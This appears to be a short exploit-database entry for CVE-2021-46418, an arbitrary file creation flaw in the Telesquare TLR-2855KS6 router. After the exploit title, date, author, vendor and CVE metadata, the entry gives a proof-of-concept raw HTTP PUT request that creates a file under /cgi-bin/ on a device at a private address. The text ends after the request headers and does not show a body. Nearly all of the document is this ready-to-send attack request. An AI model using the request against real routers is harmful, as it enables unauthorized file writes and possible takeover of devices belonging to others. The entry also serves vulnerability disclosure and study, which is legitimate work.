Telesquare TLR-2855KS6 Exploit, Arbitrary File Creation

# Exploit Title: Telesquare TLR-2855KS6 - Arbitrary File Creation
# Date: 7/4/2022
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: http://www.telesquare.co.kr/
# Version: TLR-2855KS6
# Tested on: Linux [Firefox]
# CVE : CVE-2021-46418

# Proof of Concept

PUT /cgi-bin/testing_cve.txt HTTP/1.1
Host: 192.168.1.5
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: nonce=1642692359833588
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 32

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